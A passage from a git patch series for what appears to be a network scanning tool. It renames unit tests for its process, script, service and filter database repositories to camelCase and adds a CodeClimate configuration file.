['some-process2']]) + processes = self.processRepository.getProcesses(self.mockFilters, showProcesses='noNmap') + self.assertEqual(processes, [['some-process'], ['some-process2']]) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery) + + def test_getProcesses_WhenProvidedShowProcessesWithFlagFalse_ReturnsProcesses(self): + expectedQuery = ('SELECT process.id, process.hostIp, process.tabTitle, process.outputfile, output.output ' + 'FROM process AS process INNER JOIN process_output AS output ON process.id = output.processId ' + 'WHERE process.display = ? AND process.closed = "False" order by process.id desc') + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( + [['some-process'], ['some-process2']]) + processes = self.processRepository.getProcesses(self.mockFilters, showProcesses='False') + self.assertEqual(processes, [['some-process'], ['some-process2']]) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, 'False') + + def test_getProcesses_WhenProvidedShowProcessesWithNoFlag_ReturnsProcesses(self): + expectedQuery = "SELECT * FROM process AS process WHERE process.display=? order by id asc" + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( + [['some-process'], ['some-process2']]) + processes = self.processRepository.getProcesses(self.mockFilters, "True", sort='asc', ncol='id') + self.assertEqual(processes, [['some-process'], ['some-process2']]) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, 'True') + + def test_storeProcess_WhenProvidedAProcess_StoreProcess(self): + processId = self.processRepository.storeProcess(self.mockProcess) + + self.mockDbSession.add.assert_called_once() + self.mockDbAdapter.commit.assert_called_once() + + def test_storeProcessOutput_WhenProvidedExistingProcessIdAndOutput_StoresProcessOutput(self): from db.database import process, process_output expected_process: process = MagicMock() process.status = 'Running' expected_process_output: process_output = MagicMock() - mock_db_session = MagicMock() - self.mock_db_adapter.session.return_value = mock_db_session mock_query = MagicMock() - mock_query.filter_by.return_value = mock_first_by_side_effect([expected_process, expected_process_output]) - mock_db_session.query.return_value = mock_query + mock_query.filter_by.return_value = mockFirstBySideEffect([expected_process, expected_process_output]) + self.mockDbSession.query.return_value = mock_query - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - process_repository.store_process_output("some_process_id", "this is some cool output") + self.processRepository.storeProcessOutput("some_process_id", "this is some cool output") - mock_db_session.add.assert_has_calls([ + self.mockDbSession.add.assert_has_calls([ mock.call(expected_process_output), mock.call(expected_process) ]) - self.mock_db_adapter.commit.assert_called_once() - - def test_store_process_output_WhenProvidedProcessIdDoesNotExist_DoesNotPerformAnyUpdate(self): - from db.repositories.ProcessRepository import ProcessRepository + self.mockDbAdapter.commit.assert_called_once() - mock_db_session = MagicMock() - self.mock_db_adapter.session.return_value = mock_db_session - mock_db_session.query.return_value = mock_query_with_filter_by(mock_first_by_return_value(False)) + def test_storeProcessOutput_WhenProvidedProcessIdDoesNotExist_DoesNotPerformAnyUpdate(self): + self.mockDbAdapter.session.return_value = self.mockDbSession + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(False)) - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - process_repository.store_process_output("some_non_existant_process_id", "this is some cool output") + self.processRepository.storeProcessOutput("some_non_existent_process_id", "this is some cool output") - mock_db_session.add.assert_not_called() - self.mock_db_adapter.commit.assert_not_called() + self.mockDbSession.add.assert_not_called() + self.mockDbAdapter.commit.assert_not_called() - def test_store_process_output_WhenProvidedExistingProcessIdAndOutputButProcKilled_StoresOutputButStatusNotUpdated( + def test_storeProcessOutput_WhenProvidedExistingProcessIdAndOutputButProcKilled_StoresOutputButStatusNotUpdated( self): - self.when_process_does_not_finish_gracefully("Killed") + self.whenProcessDoesNotFinishGracefully("Killed") - def test_store_process_output_WhenProvidedExistingProcessIdAndOutputButProcCancelled_StoresOutputButStatusNotUpdated( + def test_storeProcessOutput_WhenProvidedExistingProcessIdAndOutputButProcCancelled_StoresOutputButStatusNotUpdated( self): - self.when_process_does_not_finish_gracefully("Cancelled") + self.whenProcessDoesNotFinishGracefully("Cancelled") - def test_store_process_output_WhenProvidedExistingProcessIdAndOutputButProcCrashed_StoresOutputButStatusNotUpdated( + def test_storeProcessOutput_WhenProvidedExistingProcessIdAndOutputButProcCrashed_StoresOutputButStatusNotUpdated( self): - self.when_process_does_not_finish_gracefully("Crashed") - - def test_get_status_by_process_id_WhenGivenProcId_FetchesProcessStatus(self): - from db.repositories.ProcessRepository import ProcessRepository + self.whenProcessDoesNotFinishGracefully("Crashed") - expected_query = 'SELECT process.status FROM process AS process WHERE process.id=?' - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['Running']]) + def test_getStatusByProcessId_WhenGivenProcId_FetchesProcessStatus(self): + expectedQuery = 'SELECT process.status FROM process AS process WHERE process.id=?' + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['Running']]) - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - actual_status = process_repository.get_status_by_process_id("some_process_id") + actual_status = self.processRepository.getStatusByProcessId("some_process_id") self.assertEqual(actual_status, 'Running') - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - def test_get_status_by_process_id_WhenProcIdDoesNotExist_ReturnsNegativeOne(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_getStatusByProcessId_WhenProcIdDoesNotExist_ReturnsNegativeOne(self): + expectedQuery = 'SELECT process.status FROM process AS process WHERE process.id=?' + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll(False) + + actual_status = self.processRepository.getStatusByProcessId("some_process_id") + + self.assertEqual(actual_status, -1) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") + + def test_getPIDByProcessId_WhenGivenProcId_FetchesProcessId(self): + expectedQuery = 'SELECT process.pid FROM process AS process WHERE process.id=?' + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([['1234']]) + + actual_status = self.processRepository.getPIDByProcessId("some_process_id") + + self.assertEqual(actual_status, '1234') + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - expected_query = 'SELECT process.status FROM process AS process WHERE process.id=?' - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall(False) + def test_getPIDByProcessId_WhenProcIdDoesNotExist_ReturnsNegativeOne(self): + expectedQuery = 'SELECT process.pid FROM process AS process WHERE process.id=?' + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll(False) - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - actual_status = process_repository.get_status_by_process_id("some_process_id") + actual_status = self.processRepository.getPIDByProcessId("some_process_id") self.assertEqual(actual_status, -1) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - def test_get_pid_by_process_id_WhenGivenProcId_FetchesProcessId(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_isKilledProcess_WhenProvidedKilledProcessId_ReturnsTrue(self): + expectedQuery = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([["Killed"]]) - expected_query = 'SELECT process.pid FROM process AS process WHERE process.id=?' - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([['1234']]) + self.assertTrue(self.processRepository.isKilledProcess("some_process_id")) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - actual_status = process_repository.get_pid_by_process_id("some_process_id") + def test_isKilledProcess_WhenProvidedNonKilledProcessId_ReturnsFalse(self): + expectedQuery = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([["Running"]]) - self.assertEqual(actual_status, '1234') - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + self.assertFalse(self.processRepository.isKilledProcess("some_process_id")) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - def test_get_pid_by_process_id_WhenProcIdDoesNotExist_ReturnsNegativeOne(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_isCancelledProcess_WhenProvidedCancelledProcessId_ReturnsTrue(self): + expectedQuery = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([["Cancelled"]]) - expected_query = 'SELECT process.pid FROM process AS process WHERE process.id=?' - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall(False) + self.assertTrue(self.processRepository.isCancelledProcess("some_process_id")) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - actual_status = process_repository.get_pid_by_process_id("some_process_id") + def test_isCancelledProcess_WhenProvidedNonCancelledProcessId_ReturnsFalse(self): + expectedQuery = "SELECT process.status FROM process AS process WHERE process.id=?" + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([["Running"]]) - self.assertEqual(actual_status, -1) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + self.assertFalse(self.processRepository.isCancelledProcess("some_process_id")) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_process_id") - def test_is_killed_process_WhenProvidedKilledProcessId_ReturnsTrue(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_storeProcessCrashStatus_WhenProvidedProcessId_StoresProcessCrashStatus(self): + self.mockProcessStatusAndReturnSingle("Running") + self.processRepository.storeProcessCrashStatus("some-process-id") + self.assertProcessStatusUpdatedTo("Crashed") - expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Killed"]]) + def test_storeProcessCancelledStatus_WhenProvidedProcessId_StoresProcessCancelledStatus(self): + self.mockProcessStatusAndReturnSingle("Running") + self.processRepository.storeProcessCancelStatus("some-process-id") + self.assertProcessStatusUpdatedTo("Cancelled") - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + def test_storeProcessRunningStatus_WhenProvidedProcessId_StoresProcessRunningStatus(self): + self.mockProcessStatusAndReturnSingle("Waiting") + self.processRepository.storeProcessRunningStatus("some-process-id", "3123") + self.assertProcessStatusUpdatedTo("Running") - self.assertTrue(process_repository.is_killed_process("some_process_id")) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + def test_storeProcessKillStatus_WhenProvidedProcessId_StoresProcessKillStatus(self): + self.mockProcessStatusAndReturnSingle("Running") + self.processRepository.storeProcessKillStatus("some-process-id") + self.assertProcessStatusUpdatedTo("Killed") - def test_is_killed_process_WhenProvidedNonKilledProcessId_ReturnsFalse(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_storeProcessRunningElapsedTime_WhenProvidedProcessId_StoresProcessRunningElapsedTime(self): + self.mockProcess.elapsed = "some-time" + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.mockProcess)) - expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Running"]]) + self.processRepository.storeProcessRunningElapsedTime("some-process-id", "another-time") + self.assertEqual("another-time", self.mockProcess.elapsed) + self.mockDbSession.add.assert_called_once_with(self.mockProcess) + self.mockDbAdapter.commit.assert_called_once() - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + def test_getHostsByToolName_WhenProvidedToolNameAndClosedFalse_StoresProcessRunningElapsedTime(self): + expectedQuery = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostIp, process.port, ' + 'process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process ' + 'WHERE process.name=? and process.closed="False"') + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([["some-host1"], ["some-host2"]]) - self.assertFalse(process_repository.is_killed_process("some_process_id")) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + hosts = self.processRepository.getHostsByToolName("some-toolname", "False") + self.assertEqual([["some-host1"], ["some-host2"]], hosts) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some-toolname") - def test_is_cancelled_process_WhenProvidedCancelledProcessId_ReturnsTrue(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_getHostsByToolName_WhenProvidedToolNameAndClosedAsFetchAll_StoresProcessRunningElapsedTime(self): + expectedQuery = ('SELECT "0", "0", "0", "0", "0", process.hostIp, process.port, process.protocol, "0", "0", ' + 'process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll([["some-host1"], ["some-host2"]]) - expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Cancelled"]]) + hosts = self.processRepository.getHostsByToolName("some-toolname", "FetchAll") + self.assertEqual([["some-host1"], ["some-host2"]], hosts) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some-toolname") - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + def test_storeCloseStatus_WhenProvidedProcessId_StoresCloseStatus(self): + self.mockProcess.closed = 'False' + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.mockProcess)) + self.processRepository.storeCloseStatus("some-process-id") - self.assertTrue(process_repository.is_cancelled_process("some_process_id")) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + self.assertEqual('True', self.mockProcess.closed) + self.mockDbSession.add.assert_called_once_with(self.mockProcess) + self.mockDbAdapter.commit.assert_called_once() - def test_is_cancelled_process_WhenProvidedNonCancelledProcessId_ReturnsFalse(self): - from db.repositories.ProcessRepository import ProcessRepository + def test_storeScreenshot_WhenProvidedIPAndPortAndFileName_StoresScreenshot(self): + processId = self.processRepository.storeScreenshot("some-ip", "some-port", "some-filename") - expected_query = "SELECT process.status FROM process AS process WHERE process.id=?" - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall([["Running"]]) + self.mockDbSession.add.assert_called_once() + self.mockDbSession.commit.assert_called_once() - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) + def test_toggleProcessDisplayStatus_whenResetAllIsTrue_setDisplayToFalseForAllProcessesThatAreNotRunning( + self): + process1 = build_mock_process(status="Waiting", display="True") + process2 = build_mock_process(status="Waiting", display="True") + mock_query_response = MagicMock() + mock_filtered_response = MagicMock() + mock_filtered_response.all.return_value = [process1, process2] + mock_query_response.filter_by.return_value = mock_filtered_response + self.mockDbSession.query.return_value = mock_query_response + self.processRepository.toggleProcessDisplayStatus(resetAll=True) + + self.assertEqual("False", process1.display) + self.assertEqual("False", process2.display) + self.mockDbSession.add.assert_has_calls([ + mock.call(process1), + mock.call(process2), + ]) + self.mockDbAdapter.commit.assert_called_once() - self.assertFalse(process_repository.is_cancelled_process("some_process_id")) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_process_id") + def test_toggleProcessDisplayStatus_whenResetAllIFalse_setDisplayToFalseForAllProcessesThatAreNotRunningOrWaiting( + self): + process1 = build_mock_process(status="Random Status", display="True") + process2 = build_mock_process(status="Another Random Status", display="True") + process3 = build_mock_process(status="Running", display="True") + mock_query_response = MagicMock() + mock_filtered_response = MagicMock() + mock_filtered_response.all.return_value = [process1, process2] + mock_query_response.filter_by.return_value = mock_filtered_response + self.mockDbSession.query.return_value = mock_query_response + self.processRepository.toggleProcessDisplayStatus() + + self.assertEqual("False", process1.display) + self.assertEqual("False", process2.display) + self.assertEqual("True", process3.display) + self.mockDbSession.add.assert_has_calls([ + mock.call(process1), + mock.call(process2), + ]) + self.mockDbAdapter.commit.assert_called_once() - def when_process_does_not_finish_gracefully(self, process_status: str): - from db.repositories.ProcessRepository import ProcessRepository + def mockProcessStatusAndReturnSingle(self, processStatus: str): + self.mockProcess.status = processStatus + self.mockDbSession.query.return_value = mockQueryWithFilterBy(mockFirstByReturnValue(self.mockProcess)) + + def assertProcessStatusUpdatedTo(self, expected_status: str): + self.assertEqual(expected_status, self.mockProcess.status) + self.mockDbSession.add.assert_called_once_with(self.mockProcess) + self.mockDbAdapter.commit.assert_called_once() + + def whenProcessDoesNotFinishGracefully(self, process_status: str): from db.database import process, process_output expected_process: process = MagicMock() expected_process.status = process_status expected_process_output: process_output = MagicMock() - mock_db_session = MagicMock() - self.mock_db_adapter.session.return_value = mock_db_session - mock_db_session.query.return_value = mock_query_with_filter_by( - mock_first_by_side_effect([expected_process, expected_process_output])) + self.mockDbSession.query.return_value = mockQueryWithFilterBy( + mockFirstBySideEffect([expected_process, expected_process_output])) - process_repository = ProcessRepository(self.mock_db_adapter, self.mock_logger) - process_repository.store_process_output("some_process_id", "this is some cool output") + self.processRepository.storeProcessOutput("some_process_id", "this is some cool output") - mock_db_session.add.assert_called_once_with(expected_process_output) - self.mock_db_adapter.commit.assert_called_once() + self.mockDbSession.add.assert_called_once_with(expected_process_output) + self.mockDbAdapter.commit.assert_called_once() diff --git a/tests/db/repositories/test_ScriptRepository.py b/tests/db/repositories/test_ScriptRepository.py new file mode 100644 index 00000000..e3d56e11 --- /dev/null +++ b/tests/db/repositories/test_ScriptRepository.py @@ -0,0 +1,30 @@ +import unittest +from unittest.mock import MagicMock + +from tests.db.helpers.db_helpers import mockExecuteFetchAll + + +class ScriptRepositoryTest(unittest.TestCase): + def setUp(self) -> None: + from db.repositories.ScriptRepository import ScriptRepository + self.mockDbAdapter = MagicMock() + self.scriptRepository = ScriptRepository(self.mockDbAdapter) + + def test_getScriptsByHostIP_WhenProvidedAHostIP_ReturnsAllScripts(self): + expectedQuery = ("SELECT host.id, host.scriptId, port.portId, port.protocol FROM l1ScriptObj AS host " + "INNER JOIN hostObj AS hosts ON hosts.id = host.hostId " + "LEFT OUTER JOIN portObj AS port ON port.id = host.portId WHERE hosts.ip=?") + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( + [['some-script1'], ['some-script2']]) + scripts = self.scriptRepository.getScriptsByHostIP("some-host-ip") + self.assertEqual([['some-script1'], ['some-script2']], scripts) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some-host-ip") + + def test_getScriptOutputById_WhenProvidedAScriptId_ReturnsScriptOutput(self): + expectedQuery = "SELECT script.output FROM l1ScriptObj as script WHERE script.id = ?" + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( + [['some-script-output1'], ['some-script-output2']]) + + scripts = self.scriptRepository.getScriptOutputById("some-id") + self.assertEqual([['some-script-output1'], ['some-script-output2']], scripts) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some-id") diff --git a/tests/db/repositories/test_ServiceRepository.py b/tests/db/repositories/test_ServiceRepository.py index a535c422..0a6ed631 100644 --- a/tests/db/repositories/test_ServiceRepository.py +++ b/tests/db/repositories/test_ServiceRepository.py @@ -18,63 +18,58 @@ import unittest from unittest.mock import MagicMock, patch -from tests.db.helpers.db_helpers import mock_execute_fetchall, mock_first_by_return_value, mock_query_with_filter_by +from tests.db.helpers.db_helpers import mockExecuteFetchAll, mockFirstByReturnValue, mockQueryWithFilterBy class ServiceRepositoryTest(unittest.TestCase): @patch('utilities.stenoLogging.get_logger') def setUp(self, get_logger) -> None: - self.mock_db_adapter = MagicMock() - - def get_service_names_test_case(self, filters, expected_query): from db.repositories.ServiceRepository import ServiceRepository + self.mockDbAdapter = MagicMock() + self.repository = ServiceRepository(self.mockDbAdapter) - repository = ServiceRepository(self.mock_db_adapter) - - self.mock_db_adapter.metadata.bind.execute.return_value = mock_execute_fetchall( + def getServiceNamesTestCase(self, filters, expectedQuery): + self.mockDbAdapter.metadata.bind.execute.return_value = mockExecuteFetchAll( [{'name': 'service_name1'}, {'name': 'service_name2'}]) - service_names = repository.get_service_names(filters) + service_names = self.repository.getServiceNames(filters) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query) + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery) self.assertEqual([{'name': 'service_name1'}, {'name': 'service_name2'}], service_names) - def test_get_service_names_InvokedWithNoFilters_FetchesAllServiceNames(self): + def test_getServiceNames_InvokedWithNoFilters_FetchesAllServiceNames(self): from app.auxiliary import Filters - expected_query = query = ("SELECT DISTINCT service.name FROM serviceObj as service " - "INNER JOIN portObj as ports " - "INNER JOIN hostObj AS hosts " - "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " - "ORDER BY service.name ASC") + expectedQuery = query = ("SELECT DISTINCT service.name FROM serviceObj as service " + "INNER JOIN portObj as ports " + "INNER JOIN hostObj AS hosts " + "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " + "ORDER BY service.name ASC") filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - self.get_service_names_test_case(filters=filters, expected_query=expected_query) + self.getServiceNamesTestCase(filters=filters, expectedQuery=expectedQuery) - def test_get_service_names_InvokedWithFewFilters_FetchesAllServiceNamesWithFiltersApplied(self): + def test_getServiceNames_InvokedWithFewFilters_FetchesAllServiceNamesWithFiltersApplied(self): from app.auxiliary import Filters - expected_query = ("SELECT DISTINCT service.name FROM serviceObj as service " - "INNER JOIN portObj as ports " - "INNER JOIN hostObj AS hosts " - "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " - "AND hosts.status != 'down' AND ports.protocol != 'udp' " - "ORDER BY service.name ASC") + expectedQuery = ("SELECT DISTINCT service.name FROM serviceObj as service " + "INNER JOIN portObj as ports " + "INNER JOIN hostObj AS hosts " + "ON hosts.id = ports.hostId AND service.id=ports.serviceId WHERE 1=1 " + "AND hosts.status != 'down' AND ports.protocol != 'udp' " + "ORDER BY service.name ASC") filters: Filters = Filters() filters.apply(up=True, down=False, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=False) - self.get_service_names_test_case(filters=filters, expected_query=expected_query) + self.getServiceNamesTestCase(filters=filters, expectedQuery=expectedQuery) - def test_get_service_names_by_host_ip_and_port_WhenProvidedWithHostIpAndPort_ReturnsServiceNames(self): - from db.repositories.ServiceRepository import ServiceRepository - self.mock_db_adapter.metadata.bind.execute.return_value = mock_first_by_return_value( + def test_getServiceNamesByHostIPAndPort_WhenProvidedWithHostIpAndPort_ReturnsServiceNames(self): + self.mockDbAdapter.metadata.bind.execute.return_value = mockFirstByReturnValue( [['service-name1'], ['service-name2']]) - - expected_query = ("SELECT services.name FROM serviceObj AS services " - "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " - "INNER JOIN portObj AS ports ON services.id=ports.serviceId " - "WHERE hosts.ip=? and ports.portId = ?") - service_repository = ServiceRepository(self.mock_db_adapter) - result = service_repository.get_service_names_by_host_ip_and_port("some_host", "1234") + expectedQuery = ("SELECT services.name FROM serviceObj AS services " + "INNER JOIN hostObj AS hosts ON hosts.id = ports.hostId " + "INNER JOIN portObj AS ports ON services.id=ports.serviceId " + "WHERE hosts.ip=? and ports.portId = ?") + result = self.repository.getServiceNamesByHostIPAndPort("some_host", "1234") self.assertEqual([['service-name1'], ['service-name2']], result) - self.mock_db_adapter.metadata.bind.execute.assert_called_once_with(expected_query, "some_host", "1234") + self.mockDbAdapter.metadata.bind.execute.assert_called_once_with(expectedQuery, "some_host", "1234") diff --git a/tests/db/test_filters.py b/tests/db/test_filters.py index 1e5021db..7565a99e 100644 --- a/tests/db/test_filters.py +++ b/tests/db/test_filters.py @@ -24,104 +24,104 @@ class FiltersTest(unittest.TestCase): def setUp(self, get_logger) -> None: return - def test_apply_filters_InvokedWithNoFilters_ReturnsEmptyString(self): + def test_applyFilters_InvokedWithNoFilters_ReturnsEmptyString(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual("", result) - def test_apply_filters_InvokedWithHostDownFilter_ReturnsQueryFilterWithHostsDown(self): + def test_applyFilters_InvokedWithHostDownFilter_ReturnsQueryFilterWithHostsDown(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=False, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND hosts.status != 'down'", result) - def test_apply_filters_InvokedWithHostUpFilter_ReturnsQueryFilterWithHostsUp(self): + def test_applyFilters_InvokedWithHostUpFilter_ReturnsQueryFilterWithHostsUp(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=False, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND hosts.status != 'up'", result) - def test_apply_filters_InvokedWithHostCheckedFilter_ReturnsQueryFilterWithHostsChecked(self): + def test_applyFilters_InvokedWithHostCheckedFilter_ReturnsQueryFilterWithHostsChecked(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=False, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND hosts.checked != 'True'", result) - def test_apply_filters_InvokedWithPortOpenFilter_ReturnsQueryFilterWithPortOpen(self): + def test_applyFilters_InvokedWithPortOpenFilter_ReturnsQueryFilterWithPortOpen(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=False, portfiltered=True, portclosed=True, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND ports.state != 'open' AND ports.state != 'open|filtered'", result) - def test_apply_filters_InvokedWithPortClosedFilter_ReturnsQueryFilterWithPortClosed(self): + def test_applyFilters_InvokedWithPortClosedFilter_ReturnsQueryFilterWithPortClosed(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=False, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND ports.state != 'closed'", result) - def test_apply_filters_InvokedWithPortFilteredFilter_ReturnsQueryFilterWithPortFiltered(self): + def test_applyFilters_InvokedWithPortFilteredFilter_ReturnsQueryFilterWithPortFiltered(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=False, portclosed=True, tcp=True, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND ports.state != 'filtered' AND ports.state != 'open|filtered'", result) - def test_apply_filters_InvokedWithTcpProtocolFilter_ReturnsQueryFilterWithTcp(self): + def test_applyFilters_InvokedWithTcpProtocolFilter_ReturnsQueryFilterWithTcp(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=False, udp=True) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND ports.protocol != 'tcp'", result) - def test_apply_filters_InvokedWithUdpProtocolFilter_ReturnsQueryFilterWithUdp(self): + def test_applyFilters_InvokedWithUdpProtocolFilter_ReturnsQueryFilterWithUdp(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=False) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND ports.protocol != 'udp'", result) - def test_apply_filters_InvokedWithKeywordsFilter_ReturnsQueryFilterWithKeywords(self): + def test_applyFilters_InvokedWithKeywordsFilter_ReturnsQueryFilterWithKeywords(self): from app.auxiliary import Filters - from db.filters import apply_filters + from db.filters import applyFilters filters: Filters = Filters() keyword = "some-keyword" filters.apply(up=True, down=True, checked=True, portopen=True, portfiltered=True, portclosed=True, tcp=True, udp=True, keywords=[keyword]) - result = apply_filters(filters) + result = applyFilters(filters) self.assertEqual(" AND (hosts.ip LIKE '%some-keyword%' OR hosts.osMatch LIKE '%some-keyword%'" " OR hosts.hostname LIKE '%some-keyword%')", result) From beb15dd05540280e4dd03a46a7aec33373ac238d Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Wed, 18 Sep 2019 06:21:17 -0400 Subject: [PATCH 292/450] Add CodeClimate configuration file - Set method-count rule threshold to 50, previous count of 20 was too restrictive. --- .codeclimate.yml | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 .codeclimate.yml diff --git a/.codeclimate.yml b/.codeclimate.yml new file mode 100644 index 00000000..f1350bb7 --- /dev/null +++ b/.codeclimate.yml @@ -0,0 +1,15 @@ +version: "2" +checks: + method-count: + config: + threshold: 50 +exclude_patterns: + - "debian/" + - "deps/" + - "scripts/" + - "wordlists/" + - "backup/" + - "docker/" + - "log/" + - "tmp/" + - "images/" \ No newline at end of file From 07e8d0682c7ca07350bddefab4685d38c1143581 Mon Sep 17 00:00:00 2001 From: Dmitriy 